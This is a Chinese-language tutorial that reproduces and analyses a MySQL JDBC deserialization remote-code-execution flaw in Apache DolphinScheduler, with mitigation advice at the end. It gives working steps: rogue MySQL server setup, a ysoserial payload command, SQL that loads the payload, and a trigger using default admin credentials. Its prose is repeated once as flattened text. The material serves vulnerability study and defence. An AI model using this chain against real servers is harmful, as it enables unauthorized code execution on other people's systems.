Dolphinscheduler漏洞复现与分析
字数 1298 2025-08-20 18:17:53

DolphinScheduler 漏洞复现与分析教学文档

0x00 漏洞概述

本漏洞是Apache DolphinScheduler中的一个MySQL JDBC反序列化漏洞,攻击者可以通过构造恶意MySQL服务器或利用特定配置的MySQL服务器,在DolphinScheduler添加数据源时触发反序列化操作,导致远程代码执行(RCE)。

0x01 漏洞原理

该漏洞利用了MySQL Connector/J (5.1.34版本)的一个已知反序列化漏洞(CVE-2017-3523),当detectCustomCollations设置为true时,ServerStatusDiffInterceptor会尝试从MySQL服务器获取字符集信息并进行反序列化操作。

0x02 环境准备

系统要求

  • Linux系统(推荐Debian)
  • JDK 8u (特定版本)
  • MySQL服务器(用于搭建恶意服务器)

工具准备

  1. ysoserial工具(用于生成反序列化payload)
  2. rewrite_example.so (MySQL插件)
  3. DolphinScheduler漏洞版本

0x03 漏洞复现步骤

1. 配置恶意MySQL服务器

  1. 安装MySQL插件:
cp rewrite_example.so /usr/lib/mysql/plugin/rewrite_example.so
  1. 在MySQL中执行:
INSTALL PLUGIN rewrite_example SONAME 'rewrite_example.so';
  1. 创建恶意数据库和表结构:
CREATE database codeplutos;
Use codeplutos;
SET NAMES utf8mb4;
SET FOREIGN_KEY_CHECKS = 0;

DROP TABLE IF EXISTS `payload`;
CREATE TABLE `payload` (
  `COLLATION_NAME` varchar(255) DEFAULT NULL,
  `CHARACTER_SET_NAME` blob,
  `ID` int(5) DEFAULT NULL,
  `IS_DEFAULT` varchar(255) DEFAULT NULL,
  `IS_COMPILED` varchar(255) DEFAULT NULL,
  `SORTLEN` int(5) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

INSERT INTO `payload` VALUES ('1big5_chinese_ci', 0x01, 1, 'Yes', 'Yes', 1);
SET FOREIGN_KEY_CHECKS = 1;

2. 生成反序列化payload

  1. 使用ysoserial生成payload:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRE8u20 "touch /tmp/1.txt" > payload.bin
  1. 将payload转换为hex格式:
import binascii

with open("payload.bin", 'rb') as f:
    payload_content = str(binascii.b2a_hex(f.read()))
    print(payload_content)
  1. 将生成的hex payload写入MySQL:
set @a=0x[生成的hex payload];
update codeplutos.payload set character_set_name = @a;

3. 触发漏洞

  1. 登录DolphinScheduler (默认凭证: admin/dolphinscheduler123)
  2. 导航到"数据源管理" -> "创建数据源"
  3. 填写恶意MySQL服务器信息:
    • 数据库类型:MySQL
    • 主机:恶意MySQL服务器IP
    • 端口:3306
    • 用户名/密码:有效MySQL凭证
  4. 点击"Create"按钮(注意不是"Connect")

4. 验证漏洞

检查目标服务器上是否创建了/tmp/1.txt文件:

ls /tmp/1.txt

0x04 漏洞分析

漏洞触发流程

  1. DolphinScheduler调用DriverManager.getConnection()连接MySQL服务器
  2. MySQL Connector/J尝试获取字符集信息
  3. ServerStatusDiffInterceptor处理服务器返回的数据
  4. detectCustomCollations为true时,会反序列化CHARACTER_SET_NAME字段
  5. 反序列化过程中执行恶意payload

关键代码分析

// 漏洞触发点
connection = DriverManager.getConnection(
    datasource.getJdbcUrl(), 
    datasource.getUser(), 
    datasource.getPassword()
);

// 反序列化发生在ServerStatusDiffInterceptor中
// 当检测到自定义排序规则时,会尝试反序列化数据

0x05 防御措施

  1. 升级MySQL Connector/J到安全版本(5.1.49+)
  2. 在DolphinScheduler配置中禁用detectCustomCollations
  3. 限制DolphinScheduler只能连接可信的MySQL服务器
  4. 更新DolphinScheduler到最新版本

0x06 参考资源

  1. Apache官方公告
  2. DolphinScheduler开发环境搭建
  3. MySQL JDBC反序列化分析
  4. BlackHat相关披露
DolphinScheduler 漏洞复现与分析教学文档 0x00 漏洞概述 本漏洞是Apache DolphinScheduler中的一个MySQL JDBC反序列化漏洞,攻击者可以通过构造恶意MySQL服务器或利用特定配置的MySQL服务器,在DolphinScheduler添加数据源时触发反序列化操作,导致远程代码执行(RCE)。 0x01 漏洞原理 该漏洞利用了MySQL Connector/J (5.1.34版本)的一个已知反序列化漏洞(CVE-2017-3523),当 detectCustomCollations 设置为true时, ServerStatusDiffInterceptor 会尝试从MySQL服务器获取字符集信息并进行反序列化操作。 0x02 环境准备 系统要求 Linux系统(推荐Debian) JDK 8u (特定版本) MySQL服务器(用于搭建恶意服务器) 工具准备 ysoserial工具(用于生成反序列化payload) rewrite_ example.so (MySQL插件) DolphinScheduler漏洞版本 0x03 漏洞复现步骤 1. 配置恶意MySQL服务器 安装MySQL插件: 在MySQL中执行: 创建恶意数据库和表结构: 2. 生成反序列化payload 使用ysoserial生成payload: 将payload转换为hex格式: 将生成的hex payload写入MySQL: 3. 触发漏洞 登录DolphinScheduler (默认凭证: admin/dolphinscheduler123) 导航到"数据源管理" -> "创建数据源" 填写恶意MySQL服务器信息: 数据库类型:MySQL 主机:恶意MySQL服务器IP 端口:3306 用户名/密码:有效MySQL凭证 点击"Create"按钮(注意不是"Connect") 4. 验证漏洞 检查目标服务器上是否创建了 /tmp/1.txt 文件: 0x04 漏洞分析 漏洞触发流程 DolphinScheduler调用 DriverManager.getConnection() 连接MySQL服务器 MySQL Connector/J尝试获取字符集信息 ServerStatusDiffInterceptor 处理服务器返回的数据 当 detectCustomCollations 为true时,会反序列化 CHARACTER_SET_NAME 字段 反序列化过程中执行恶意payload 关键代码分析 0x05 防御措施 升级MySQL Connector/J到安全版本(5.1.49+) 在DolphinScheduler配置中禁用 detectCustomCollations 限制DolphinScheduler只能连接可信的MySQL服务器 更新DolphinScheduler到最新版本 0x06 参考资源 Apache官方公告 DolphinScheduler开发环境搭建 MySQL JDBC反序列化分析 BlackHat相关披露